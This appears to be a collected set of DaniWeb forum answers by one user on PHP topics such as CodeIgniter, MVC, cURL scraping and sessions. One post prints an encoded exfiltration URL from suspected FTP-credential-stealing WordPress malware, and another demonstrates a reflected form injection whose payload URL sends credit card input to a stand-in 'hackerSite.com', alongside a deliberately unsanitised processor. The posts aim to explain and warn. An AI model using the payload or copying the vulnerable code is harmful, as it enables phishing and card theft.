veedeoo 474 Junior Poster Featured Poster

Honestly, I don't see any reasons why it shouldn't work? All static method can be use by other classes. Except, if this is a separate controller file /login . That would change the application's loaded controller.

It is pretty much equivalent to

<form method="post" action="/login">

On form submit, it would take you to /application_directory/login_Controller/Method/. In your case you are loading the login controller instance. If the login controller page does not require the User class, then User::login() method cannot be executed.

I wrote an application on CI where the user can login and will never leave the page. To do this, you make the method of the current controller page that will process the form.

So, for instance a URI appdirectory/login_controller/ can process the form by assigning the processing to another method called process. That would give us a new uri of /appdirectory/login_controller/process/. However, even after the form has been processed, the controller page did not change and we are still using the same controller. Only the method process is added.

If the login_controller file require the User class, then the static method of User should be available.

Example class uitilizing static method of another class: This is an example only. Your framework may have different ways of doing things.

require_once('user.php');

class LoginController extends BaseController{

    public function __construct(){}

    public function index(){
        echo 'this is the default content on load';

        }

    public function process(){
        echo 'This is the form processor';
        if(isset($email) AND (isset($password)){
            User::login($email, $password);
            }
            }

        }

The …

veedeoo 474 Junior Poster Featured Poster

you will need to process the form before you can initiate the update..

for example,

if(isset($_GET['a']) && (isset($_GET['id']))){
$ID = $_GET['id'];

    ## process the form
    if(isset($_POST['hiddenField'])){

    ## do the query here from

    }


    }

Make sure to sanitized your form data....

veedeoo 474 Junior Poster Featured Poster

Welcome and hello.

veedeoo 474 Junior Poster Featured Poster

Diafol... that is your own phpinfo().. I just checked the domain and it is a phishing url according to trendmicro..

I think we should remove the full url from this thread.

veedeoo 474 Junior Poster Featured Poster

tried

<?php

    echo base64_decode('  aHR0cDovL3B1YmJvdHN0YXRpc3RpYy5jb20vc3RhdEMvc3RhdC5waHA=');

and you are right that translate to xxxxxxxxxxxxxxxxxxxxx/statC/stat.php

but your information is being sent out like this /statC/stat.php?ip=''&useragent=''&domainname=yourWebsite.com&fullpath=''&check=''

You will need to research about this though. What I am telling you above are all based on presumption. It can be true, but there are always other facts outside the scope of my understanding.

veedeoo 474 Junior Poster Featured Poster

If you want to prove my analysis about this script, try simulating this on your localhost.

change this

 aHR0cDovL3B1YmJvdHN0YXRpc3RpYy5jb20vc3RhdEMvc3RhdC5waHA=

to this

aHR0cDovL2xvY2FsaG9zdC9zdGF0LnBocA==

which is nothing but redirecting their hack on your localhost/stat.php

On your localhost public directory create a file stat.php and paste the following codes

if(isset($_GET['ip'])){

    echo urldecode($_GET['ip']).'<br/>';
    echo urldecode($_GET['useragent']).'<br/>';
    echo urldecode($_GET['domainhame']).'<br/>';
    echo urldecode($_GET['fullpath']).'<br/>';
    echo urldecode($_GET['check']).'<br/>';

    }

You can also write them on a text file....

veedeoo 474 Junior Poster Featured Poster

Honestly, I think this script is a malware script. It was probably injected through the wordpress backdoor. I think the exact name of this malware is called FTP credential malware distributed or created by pubbotstatistic.com . You will just have to search on this to confirm my assumptions.

If this is truly a malware, this is how it operates. This malware will steal your FTP credentials provided on the wordpress script upgrade interface on the administration panel.

Once the wordpress connects to the remote site for upgrades, the malware script above will send your FTP credentials to xxxxxxxxxxxxxxxxxxx/statC/stat.php .

Make sure to confirm that this is indeed a malware
To get rid of this malware, make a backup copy of your mysql database only, and then contact your hosting provider and tell them that your FTP account has been compromised.

Once your hosting provider reset your cpanel and FTP account user and password, it is a lot safer for you to just delete your entire wordpress installation directory and rebuild from the back-up database.

Another alternative will be depending on your experience. Connect to your fTP server and open the directory where the wordpress is installed, find any newer files than the rest of the original wordpress files. Normallly, malware came later. If the malware will write anything on your wordpress directory, it will be a lot newer than the orignal files. Unless, you have been editing files lately and your safest is to just go for the complete …

veedeoo 474 Junior Poster Featured Poster

I just want to add that my demonstration will work even on upload form. So, be careful if your site is allowing users to upload. You need to screen those files if they are allowed or not. Otherwise, malicious scripts can be uploaded to your site.

veedeoo 474 Junior Poster Featured Poster

I totally agree with GliderPilot. Most hackers are not really interested in breaking the target site. What they really after for is to steal information from the user.

Allow me to give you the very basic example and vulnerability demonstration of the form.

Let say, we have a form on our site. I will be using the weakest type of form implementation I have ever from askers here on daniweb. Something like this

<form action="hackme.php" method="request">
     <label>Type Your Name</label>
     <input type="text" name="name">
     <br/>
     <textarea name="comment"></textarea>
     <br/>
     <input type="submit" name="submit" value="submit"/>
     </form>

and the form processor for the above for is written like this...

    if(isset($_REQUEST['submit'])){

        echo $_REQUEST['name'];
        echo '<br/>';
        echo $_REQUEST['comment'].'<br/>';

        }

The hacker will visit your site and look at the html source of your form page. He will be able to get the information of your form processor hackme.php and the type of action used request.

The hacker will then test if your site can be injected by pasting this to the browser.

http://yourdomain.com/hackme.php?name=hello  Client <br/>Please Enter Your Credit Card Below<br/>&comment=<form action=http://hackerSite.com/gotcha.php method=post><br/><input type=text name=cc><br/><input type=submit name=submit value=submit>&submit=submit

The hacker will then check if the form injected on your form will be shown on the page. If it does, they generate links to your site's form processors. The unsuspecting users will then type in their info. and the injected form will be process on the hacker's site.

Try this on your localhost. Create a file name hack.php and paste the codes …

veedeoo 474 Junior Poster Featured Poster

Is it just moderators and Admins on DaniWeb or do other people hang out here as well :)

I am nobody, I visit and hang-out in this area once in a while. Welcome to Daniweb.

veedeoo 474 Junior Poster Featured Poster

The entire MVC framework covered in this tutorial is located in just ONE page called index.php. If you will not be using the .htaccess below, use the simplemvc.php. The framework itself is lighter than the template engine files. In fact, the Framework is less than 20KB. While smarty files are more than 1.5MB.

Update:
This morning while creating a zip file, I was not aware that my older brother in Silicon Valley was reading this tutorial to check if I can really screw these things up ( Just Kidding) :). Am I even allowed to say those words? Anyways, he suggested that I should also cover how to pretify the urls of our simple framework.

So, what my brother Mihael was telling me or challenging me to make right now, this very last seconds before I upload the source is to change these urls

simplemvc.php/add/
simplemvc.php/read/
simplemvc.php/article/
simplemvc.php/main/

to something like this

simplemvc/add/
simplemvc/read/
simplemvc/article/
simplemvc/main/

The thing is that I will be leaving for school in like 45 minutes from now. So, I need to think really fast . I came up with this simple .htaccess file directives.

I am not sure this will work accross the board, but I have my fingers crossed hoping it will work. If not let me know and I will test it tonight.

RewriteEngine On
Options -Indexes

RewriteBase /simplemvc/
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-l

RewriteRule ^(.+)$ index.php?url=$1 [QSA,L]

The above routing directives should be able …

veedeoo 474 Junior Poster Featured Poster

This is a continuation of our basic tutorial on MVC Framework. In this section, we will be creating the template files for both the TBS and the Smarty template engines.

The recap
In part one, we have created application controllers, models, and the one and only lone View class. Once again, please allow me to present few segments of those Classes here.

Main Controller We will use this as our example. All of our application controllers have the method called index(). If we can recall from part one, we made the parent controller as an abstract class with an abstract method called index(). Remember? By doing so, all of our application controllers must have a method with the same name as the abstract method of the parent. As I have already mentioned that the only reason in doing this is to serve like a training wheel. We don't want our application to wonder off the patterns that we want our application to take.

public function index(){
    $this->view->use_tbs($this->main_model->Content(),FileHelper::parse_menu(),'index',FALSE);
    $this->view->use_smarty($this->main_model->Content(),null,'index',FALSE);
}

Let us take those two items inside the method index() above. They may appear odd and with no to little relevance to unsuspecting eyes, but those two lines of codes are the logic carriers/converters. In other words, after the model or other methods in the controllers performed all of their business logic responsibilities, the resultants or the products of those processes must be delivered to the view. The view will then take these products and process it …

veedeoo 474 Junior Poster Featured Poster

If the remote mysql server is running on linux, you must grant this user the permission as "GRANT ALL". Please consult the msyql documentation for this. If you are currently using a cpanel or WHM VPS manager, you can also set it there. Also on cpanel, there is also an option there under the mysql section.

I am not sure if this is valid IP "192.232.240.245" for mysql connection though. If I can still recall it, it was something like this IP:PORT_NUMBER. It all depends on how the remote server was setup, your IP might be the only one needed. To find out more about this topic, please read it here.

veedeoo 474 Junior Poster Featured Poster

var_dump($pkcs12) , what do you get? Is it the right structure expected by the webservice?

e.g.

Array ( [this_array] =>( [something] => something_value)[another_array]=>[index_b] =>[value_b]))

veedeoo 474 Junior Poster Featured Poster

I forgot to add the file helper class and the simple form helper validation class. This class is responsible for retrieving, writing, parsing text and xml files. If you noticed on the read and content controllers above, you will see an instance of a FileHelper::method();

Application/FileHelper

### Application Libraries and Helpers
    /*
    * This is a helper class
    * create the actual text files
    * returns boolean and array
    */
    Final class FileHelper{

    public function __construct(){

    }

    public static function check_dir($dir){

      if (!is_readable($dir)) return NULL; 
            $handle = opendir($dir);
            while (false !== ($entry = readdir($handle))) {
                if ($entry != "." && $entry != "..") {
                return FALSE;
            }

        return TRUE;
       }
    }

    public static function get_summary(){
         //$this->settings = Set::settings();
        if (file_exists(Set::settings()['summary'])) {
        // Open the text file and get the content

        $handle   = fopen(Set::settings()['summary'], 'r');
        $data     = fread($handle, filesize(Set::settings()['summary']));
        $rowsArr  = self::explodeMenuRows($data);
            for($i=0;$i< (count($rowsArr)-1);$i++) {
                $line_entries = self::explodeLines($rowsArr[$i]);

                $item['poster'] = $line_entries[0];
                $item['title'] = $line_entries[1];
                $item['url'] = $line_entries[2];
                $item['content'] = $line_entries[3];

                $items[] = $item;

            }
         return($items);
       }

    }      
    public static function explodeMenuRows($data) {
        $rowsArr = explode("\n", $data);
        return $rowsArr;
        }

    /*
    * return menu items
    */
   public static function explodeLines($singleLine) {
        $items = explode("|", $singleLine);
        return $items;
        }

    /*
    * parse menu text file
    *returns array
    */
    public static function parse_menu(){
        $doc = new DOMDocument();
        $doc->load(Set::settings()['xml_menu']);
        $menus = $doc->getElementsByTagName( "menu" );
          foreach( $menus as $item )
          {
          $links = $item->getElementsByTagName( "link" );
          $items['link'] = $links->item(0)->nodeValue;
          $urls = $item->getElementsByTagName( "url" );
          $items['url'] = $urls->item(0)->nodeValue;

        $menu[] = $items;   
    }
    //print_r($menu);
    return($menu);

    }
    /* 
    *this …
veedeoo 474 Junior Poster Featured Poster

Part One: Learning the Basic Patterns

Disclaimer: please pardon my spellogrammatico errors. I am not really a rough draft person. I type and write codes the split seconds as they crossed my mind, otherwise I will get extremely lazy and then will eventually hibernate like a tardigrade. I hope I do not add more confusion to this subject matter.

Today is the last day of my very short Spring Break and I pretty much did not do anything productive for days, except for learning the new programming language called hack from facebook. I thought it would be something that I would spend my entire Spring break, but my assumption was wrong. The language was pretty cool and easy to learn. I also believe that the Hack language is the next biggest innovation in Web development.

Brief history of the script and about me
Years ago, I was trying really hard to learn MVC design patterns and I came up with this MVC framework simulator script. The script will also include the template engines I added into it, mainly the smarty and TBS.

What I am trying to convey here is how easy it is to learn PHP MVC pattern, only if we know the basic foundations than just downloading a framework e.g. CI, CAke, symfony2 without knowing how they were built. If a 10th and 11th grader can hack it, I am definitely sure you can.

Special Thanks
My special thanks to Mr. Lorenzo De Leon Alipio for …

pritaeas commented: Very nice! +14
veedeoo 474 Junior Poster Featured Poster

change the cURL codes above to this. I just copy it from the parser class I wrote some years ago.

it should read like this

     function useCurl($url,$source=null){
$ch = curl_init();
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)');
curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,10);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_AUTOREFERER, true);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
curl_close($ch);
return $output;
unset($output);
}
veedeoo 474 Junior Poster Featured Poster

WARNING! Parsing any remote contents without any written permission from the owner can cause a messy legal battle in court. Prepare to have millions of dollars if you are standing against big corporation. Just saying. Technology is pretty cool, but crossing beyond what we call responsible and ethical programming is an extremely dangerous practices.

One effecient way of doing this is to load the remote html file through cURL. At least, this will minimize the vulnerability of your server (by setting the allow_url_fopen directive to ON). With the utilization of cURL, you can set this to OFF.

 function useCurl($url,$source=null){
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)');
        curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,10);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        curl_setopt($ch, CURLOPT_AUTOREFERER, true);
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $this->output = curl_exec($ch);
        curl_close($ch);
        return $this->output;
        unset($this->output);
      }

we can implement simple html dom as simple as this

$this_html = file_get_html(useCurl('my_url'));

foreach($this_html->find('p') as $item_p){
    ## do something witht the $item_p
    }

to parse anything with class and id

foreach($this_html->find('p') as $item_p)){

    foreach($item_p->find('id=channels') as $channel){
        echo $channel; // this give us ABC FAMILY


}

parse the remaining <p> whatever you will have to do..

veedeoo 474 Junior Poster Featured Poster

Here is another one. Make sure to use it with cURL.

veedeoo 474 Junior Poster Featured Poster

Hi,
May I add someting?

there is a PHP object called ArrayObject ArrayIterator method and I think (but not sure) there is also a method for it called key. Just don't have time to look it up, but it is pretty much for getting the key of an array. Though I am not sure what is the memory cost for Iterator, it should let you write codes a lot shorter.

veedeoo 474 Junior Poster Featured Poster

place the good ole php file inside the directory called xampp/htdocs, run xampp control panel, start apache, start mysql server, and then direct your browser to localhost/old_php_filename.php.

veedeoo 474 Junior Poster Featured Poster

For non-mysql database, you will need to use PDO and then use prepared statement and bind parameter. Read this and this. Read my attached PDF file to learn this stuff.

veedeoo 474 Junior Poster Featured Poster

I do understand the concerns over the learning of a new syntax, Diafol already explained it pretty well. I hope you will reconsider template engine in the future.

Although there were one or two people who disagreed, I also respect the point of views and expressed opinions of the person on stackoverflow.

As already mentioned by Diafol, the ultimate finished product of your labor is a robust, highly extensible, and a convenient to use application. Once you achieved this type of product, you can literally throw anything in it e.g. have a forum, a blog, e-commerce section, a company landing page. This can be easily added by just directing the requests to the new controllers.

On the side track, have you guys heard the new programming language called "HACK" by facebook? This is aimed to boost code safety in PHP.

I just downloaded the HHVM virtual machine to try it out. This maybe the next revolution in web development. I think I will invest my entire Spring break learning how to write codes in HACK.

veedeoo 474 Junior Poster Featured Poster

Creating a helper for the view will make things more complicated to maintain. However, I always escape the so called "MVC conundrum" by just implementing template engine on my MVC framework. This may sound a little bloated as far as application disc size is concern, but the template engine will actually protect your codes from the accidental deletion by the front-end developer. I added a simple diagram below for the clarification. In real world, MVC has evolved and because of this more and more variants are coming into the league.

The framework in variant two is well protected from the front-end developer. They can literally delete everything on the template file and the source codes are always safe.

The Cons:
The biggest drawback in using template engine. Most template engines are bloated to the size of almost 3MB or higher. Template engine parse and recompile the source output so that it can create a new PHP equivalent output to the browser. So, the process time and server resources is almost 2X compared to the plain PHP as template.

There is some learning required in implementing template engine. This is the most excruciating to some, even Fabien Potencier the founder and author of the Symfonny2 once said "PHP does need a template engine", but later on changed his thoughts about templating engine and then he eventually creating his own template engine called TWIG.

If not carefull, application can end-up doing double iterations. Using …

veedeoo 474 Junior Poster Featured Poster

try putting this

session_start();

above the page, just right after <?php

<?php

    session_start();
veedeoo 474 Junior Poster Featured Poster

I totally agree with Ajay, the CI library for validating form is called form_validation.

veedeoo 474 Junior Poster Featured Poster

All these confusions about MVC pattern architecture began at the CakePHP's bakery and then followed by pretty much everyone. Some of the frameworks that are versatile enough to follow or not to follow the true MVC pattern are the CI and Kohana frameworks. In CI and Kohana, we can pretty much write an application giving much emphasis on the Controller and the Model. By doing so, the View has become almost a distant member of the group. However, we can also write an application that will adhere to the true MVC doctrines under these frameworks.

By doctrines, the user sends request to the Controller, then the controller triggers an instance of the model, the model sends the output to the view. It is clear that the communication between the Model and the View are direct in terms of output transmission, instead of Controller to Model -response- Model to Contoller --output--Controller to View. So, pretty much the intetion is clear to deliver the output from Model to View.

Example of an acceptable M V C pattern based on doctrines. Most MVC's base controllers are abstract, but not all. In this example, the base controller or the parent is not an Abstract class.

Filename: Test.php Type: Application Controller file (child)

Class Test extends Controller{

    private $model;

    public function __construct(){

        parent::__construct();
        $this->model = new TestModel();


        }

    public function index(){

        $this->model->get_content();

        }
        }

Filename: TestModel.php Type: Application Model file (child)

   Class TestModel extends Model{

       private $load; 

       public function __construct(){
           parent::__construct();
           $this->load = …
veedeoo 474 Junior Poster Featured Poster

don't expect to get other solution. It can be done, but it will be out of the ordinary. My answer is no and no :).

Why not? Because java applets are delivered between <applet></applet> tags. There is no way to parse the linked applet class.

<html>
<body>
<applet code="someJavaAppletClass.class"></applet>
</body>
</html>

The problem is that even if we follow the code attributes, the cURL will ended up downloading it, but will not be able to parse whatever the class output.

Even if we donwloaded the applet and convert it to some text file that can be read by PHP, it will be very difficult to guess the class output.

Take this simple lifted snippet from a working applet. This is just a part of the script just to give you the clear insight of what is going in the applet..

  private Image thisImage;
  private AppletContext context;
  public void init()
  {
      context = this.getAppletContext();
      String thisImageURL = this.getParameter("thisImage");
      if(thisImageURL == null)
      {
         thisImageURL = "test.jpg";
      }

We can matched the curly bracket, but thisImageURL will be difficult to capture. Unless, we use the line breaks BUT I honestly will not go and explore that possibilities. It is tidious process just to be able to parse the location of the test.jpg.

Good luck to you..and thank you for visiting Daniweb.

veedeoo 474 Junior Poster Featured Poster

just downloaded the file :).

veedeoo 474 Junior Poster Featured Poster

The contents from view are retrieved response on controller's request , the controller will take the stored response and then assign them to the view file.

I haven't have the chance to look at the model file named stuff yet, but I am assuming there are methods there that should return a row array as a result of the query.

In CI we can use $query->row_array() and $query->result_array() depending on requirements.

Again, I need to assume that the model method $this->Stuff->get_topic_last_post($row->topicid) should return the latest posts.

the method can be similar to this

file location /application/model/

public function get_topic_last_post(){

    ## I did not put any parameter in it because. I am assuming here that the posts can be sorted by date.

    ## We prepare the query
    $your_query = " query here ";
    $query = $this->db->query($your_query);

    ## you must also add an statements here just in case the query return empty result

    return($query->result_array());

    }

}

I need to modify your controller a little because it is not necessary to iterate the result in the controller or in the model. We are only storing the result as an array and let the view take care of the iteration.

file name /application/controller/forum.php

public function get_topics()
{
    $this->load->model('Stuff');
    $result = $this->Stuff->get_topic_last_post();

    $this->load->view('views/forum', $result);

 }

The above example will load the $result to the template file named forum.php. The template file should do the iteration like this

file name : /application/views/forum.php

<?php
    foreach($result as $post){

    echo $post['title'].'<br/>';
    //echo the rest of the result. …
veedeoo 474 Junior Poster Featured Poster

Another efficient alternative is to load these models

 $this->load->model('Stuff');// this the basic model for the content without control
$this->load->model('most_viewed'); //second model for most viewed
$this->load->model('most_popular');//third model
$this->load->model('most_commented');//fourth model

to the controller's method needing them. The reason is that the model will not be instantiated until the browser request the most_viewed method.

public function most_viewed(){

    $this->load->model('most_viewed');
    $this->load->view('forum/mostviewed', $this->most_viewed->get_post());

    }

That should deliver the most_viewed content from the most_viewed model class==> method get_post() to the template file mostviewed.php

By doing this alternative, we isolated the instantiation of the model objects only when needed, instead of loading them in the instantiation of the object forum.

veedeoo 474 Junior Poster Featured Poster

I am currently looking at your ultralite forum application. I have few recommendations later on. For now, I would like to recommend adding adding a constructor on the the application's controllers. Just make sure prior to releasing the application, remove all the echo from the controller file.

For example, on the file called /application/controllers/forum.php, it would be nice to add a constructor. Kind'a like this

class Forum extends CI_Controller {

public function __construct(){

    parent::__construct();

        ## this is also the perfect time to load helpers and library
        ## if the application will be using non-persistent database connection, then this is the right place to set an instance of the database for the model to use.
        $this->load->database();
        $this->load->model('Stuff');
        $this->load->helper("url");
        $this->load->library("pagination");// paginating long results



}

public function index()
{
    // main index function  
}

## rest of the forums methods here



}

Some people reading this maybe wondering why did veedeoo load the database on the controller's contructor? Isn't it suppose to load in the application's model class? The questions are pretty valid and yes we are supposed to load database on the model class. In fact, the CI documentation suggested to set the database connection in the model class. However, if we want to run 4 different models in one controller, we want the database connection to be persistent in that very specific controller, instead of renewing an ovelapping database connection throughout the application. Unless, there is a sigleton library that we can use to confirm if the database connection class …

veedeoo 474 Junior Poster Featured Poster

okay, I will download it and take a look at the source code.

I have a minor corrections on my recommendations above. I mentioned that CI uri convention was mydomain.com/controllers_name/method_name/. However, the out of the box CI was not like that. It is like this mydomain.com/index.php/controllers_name/method_name/.

To eliminate the index.php in the middle of the url, we need to add this .htaccess file in the installation directory

RewriteEngine on
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule .* index.php/$0 [PT,L]  

That should eliminate the needs of typing index.php .

When I was learning about MVC design patterns, my older brother told be to practice on CI. Although I am Zend Certified, my very first taste of PHP MVC framework was in CI and not in Zend Framework.

I also wrote a PDO CRUD library for CI, because the database library is getting really old now.

iamthwee commented: super! +14
veedeoo 474 Junior Poster Featured Poster

Here is an example application I just wrote in CodeIgniter, Twig template engine, Youtube API V2 to demonstrate the CI's form helper, pagination library, and the youtube library that I wrote.

Another one is the CI, Smarty, Youtube API V2. The same as above, but it is using Smarty template engine.

I also removed the domain.com/index.php/. so that the url is a tru MVC routing that will support domain.com/controller_name/method_name/

The linked demo above is pretty simple, but functional. I need to show evidence of some of the answers I posted in this forum. Just in case people would ask me for the proof.

veedeoo 474 Junior Poster Featured Poster

Can you please confirm that the above backend controller is named search.php?

<form action="<?php echo site_url('search'); ?>" method="GET">

The form attribute action should be in the condtroller's object/object's method convention.

So, If we want to process the form above, the controller responsible for it will be the search controller, ===> instance of search object ==> utilizing the do_search() method.

There is a form helper in CI that can easily handle this.

$form = form_open('search/do_search',$attributes)
$submit = form_submit( 'submit', 'Search'),

pretty much equivalent to

<form action="search/do_search" class="attributes" id="attributes">

<input type="submit" name="submit" value="Search"/>

implemetnaton on the template file or front-end

<?php echo $form;?>

<!-- put the remaining of the form here -->
<?php echo $submit;?>

</form>
veedeoo 474 Junior Poster Featured Poster

These dummy testing seems confusing to me

$password="scret";

$hash= passwordEncrypt($password);

$userInsertedPassword="scret";

passwordCheck($userInsertedPassword,$hash);

if the non-encrypted password is "scret", then why the $userInsertedPassword is also "scret"?

Should it be the inserted password should be equal to the $hash?

try

$password = 'password';
echo passwordEncrypt($password);

Whatever you see on the browser should be the inserted value. For example, if the hash is

 $password = 'password'; // this is from the user input

//$hashed_password = 'asl415sc9rfl'; //this is an assumed output of the passwordEncrypt()

$hashed_password = passwordEncrypt($password);

$saved_password = 'asl415sc9rfl'; // this is from the database

## we validate

    echo(passwordCheck($saved_password,$hashed_password)? 'password is good' : 'password is bad');
veedeoo 474 Junior Poster Featured Poster

we can also assign the default page for the admin if session and log-in are validated. We can do this by creating the default function index or method index().

public function index(){

    ## validate admin credentials
    ## show whatever contents the admin needs to see after log-in validation

    ## send output to the template file

    ## if the session expired, the log-in credentials are no longer valid, send the user to the login page.

    if( not admin or not logged in or the session logged_in does not exists){
    //redirect('login/','location');

    }

    }

CI is using two different redirects refresh and location ( this is the second parameters of the function redirect. I strongly recommend location as the second parameter because it is somewhat faster).

veedeoo 474 Junior Poster Featured Poster

just to add a little more on the admin class. we can also create separate methods for the user management interface. In my example, above I created method called manage_users() which is intended to all registered users.

Another question that may come up will be how to execute the actions by the admin ? e.g. delete user, add user, suspend user, etc..

A good approach in implementing this can either creating separate method or can be included in the manage_users method. I prefer the first, because it will be a lot easier to submit form.

suppose we have a form to manage members

<form action="mydomain.com/admin/delete_user/" method="post">
<input type="hidden" value="member_id"/>
<input type="text" name="delete_m" value="member username from database"/>
</form>

The form is normally attached by the codeigniter to the view. Something like this.. this is just an example form attributes assignment in CI.

$attributes = array('class' => 'manage_users', 'id' => 'm_users');

## we can send the form to the template file
$form_array =  array(
                'form'=> form_open('admin/delete_user',$attributes),
                'form_submit'=>form_submit( 'submit', 'Delete')
                );

Our template file can be something like this

 <?php echo $form_array['form'];?>
 <input type="text" name="delete_m" value="member username from database">
 <!-- we call the form submit -->

 <?php echo $form_array['form_submit'];?>
 <!-- lastly, we close the form -->

 </form>

If we run the codes above the form will be posted to /admin/delete_user. Again, this is a classic CI convention in practice here. The router will look for the admin object and for the delete_user method.

We can add the delete_user method …

veedeoo 474 Junior Poster Featured Poster

I would difinitely create a separate controller and methods intended for the admin. For example, if we have a url mydomain.com/admin/settings/, then our object will be called admin and the method is called settings.

Using the target url above we can device our admin class

class Admin extends CI_Controller {

    public function __construct(){
            $this->load->helper('url');
            $this->load->library('session');
            ## we can also load the form validation and form helper here if needed.
            }

    public function settings(){

        ## if logged_in and privs is equal to admin
        ## set is_admin to session

        }

   /*
   * create methods for whatever options available to the admin
   */

   public function manage_users(){

   ##create Admin_model class with method called get_users()
   ## we can load our database and then create an instance of the Admin_model

   $this->load->database();
    $this->load->model('admin_model');

    ## send members array to the view
    $these_members = $this->admin_modle->get_users();

    }

    }

so if the user is admin and the session is_admin exists, then mydomain.com/admin/settings and mydomain.com/admin/manage_users can be served.

veedeoo 474 Junior Poster Featured Poster

there is another PHP function for sorting called uksort.

function syntax is pretty self explanatory.

bool uksort ( array &$array , callable $key_compare_func )
veedeoo 474 Junior Poster Featured Poster

upgrade your xampp to the latest version. Otherwise, you can use image_type_to_mime_type() function.

veedeoo 474 Junior Poster Featured Poster

try searching this on google "pdf2text php class". I have seen it somewhere but can't remember from which sites.. either stockoverflow, daniweb, phpclasses.org. Those are the only sites I am heavily active.

veedeoo 474 Junior Poster Featured Poster

@moshaur,

ask the API provider about the proper protocol in accessing their API service. Normally, they will provide you with sample codes to access and the expected response format.

As far as the CI implementation is concern, please read this tutorial. The instructions are pretty straight forward.

veedeoo 474 Junior Poster Featured Poster

Hi,

There are many shopping carts that are already built ready for donwload. Writing one from the ground up can be very difficult to almost impossible for a newbie programmers. I am not trying to discourage your motivation to dream big, but programming techniques and methods are learned overtime.

For now, pratice on oscommerce, zen cart, and many other open source. Have yourself familiarized with the source codes and learn from them.

veedeoo 474 Junior Poster Featured Poster

this error

Unable to connect to your database server using the provided settings.

is coming from line 124 filename: system/database/DB_driver.php method initialized()

if ( ! $this->conn_id)
    {
        log_message('error', 'Unable to connect to the database');

Can you tell me what is your PHP version?

While you are looking at it, try changing this

$db['default']['hostname'] = 'localhost';

to

$db['default']['hostname'] = '127.0.0.1'; 

Before doing the above, can you make sure that you have the database named **gsaconst_database ** and of course the same tables as your online version.

veedeoo 474 Junior Poster Featured Poster

try changing the config value for the pconnect to FALSE. line 124 is the is argument if pconnect is false then initialize database connection if not the class assumed that a persistent connection exist. By setting it to false, we force the initialize method to execute the db_connect method. I am not sure if XAMPP can handle persistent connection though.

$db['default']['pconnect'] = FALSE;

I adon't know why this is happening in PHP 5.4.19 in xampp and others, but in php 5.5.1 and above I never have this problem.

veedeoo 474 Junior Poster Featured Poster

I forgot to add

mysqli_close($db_conn);

after the

fclose($fp);
veedeoo 474 Junior Poster Featured Poster

I think you need to save the csv file before attaching it to the email.

Here is a test script I made to create and send csv file.

Step 1 : Download the phpmailer class here.

Step 2 : Unzipped the phpmailer zip file.

Step 3: In your server, create a directory named phpmailer. Move these files from the unzipped files to the phpmailer directory.

phpmailer/
class.phpmailer.php
class.pop3.php
class.smtp.php
PHPMailerAutoload.php

Step 4: Take a look at this example fputcsv script post 14.

Step 5: We modify the script to use MySQLI. I urged you to modify the MySQLI. I wrote it just to be able to connect an retrieve data for my testing.

 <?php
require_once('phpmailer/class.phpmailer.php');

## set database credentials
$db_host = '';
$db_user = '';
$db_pass = '';
$db_name = '';


$db_conn = new mysqli($db_host, $db_user, $db_pass, $db_name);

if (mysqli_connect_errno($db_conn))
  {
  echo "Failed to connect to MySQL: " . mysqli_connect_error();
  }


 ## the function from http://us3.php.net/fputcsv

function query_to_csv($db_conn, $query, $filename, $attachment = false, $headers = true) {

    if($attachment) {
        // send response headers to the browser
        header( 'Content-Type: text/csv' );
        header( 'Content-Disposition: attachment;filename='.$filename);
        $fp = fopen('php://output', 'w');
    } else {
        $fp = fopen($filename, 'w');
    }

    $result = mysqli_query( $db_conn, $query);

    if($headers) {
        // output header row (if at least one row exists)
        $row = mysqli_fetch_assoc($result);
        if($row) {
            fputcsv($fp, array_keys($row));
            // reset pointer back to beginning
            mysqli_data_seek($result, 0);
        }
    }

    while($row = mysqli_fetch_assoc($result)) {
        fputcsv($fp, $row);
    }

    fclose($fp);
}

Step 6: We …

veedeoo 474 Junior Poster Featured Poster

oh yeah, @ethan.david.376 please wrap those vars with single quotes. Got carried away with the dumb laws thread at the geek lounge :).

veedeoo 474 Junior Poster Featured Poster

lol, I thought these dumb laws only exist in my state :).

In Los Angeles, california

It is illegal for a man to beat his wife with a strap wider than 2 inches without her consent.

Honey, can we use 3 incher this time, pretty please ? lol :). Honestly, regardless of the strap size it is a beating and should be illegal...

Pacific Grove, California

It is illegal to molest butterflies.

I don't get it. Who would try to molest butterflies?

Long Beach, California

It is illegal to curse on a mini-golf course.

it's okay to curse in the big golf course.

Redlands, California

Motor vehicles may not drive on city streets unless a man with a lantern is wallking ahead of it.

Oops, this law can really hurt someone.

San Francisco, California

It is illegal to wipe one’s car with used underwear.

Brand New does makes a lot of sense :).

Persons classified as “ugly” may not walk down any street.

No wonder, nobody wants to be called ugly in San Francisco :).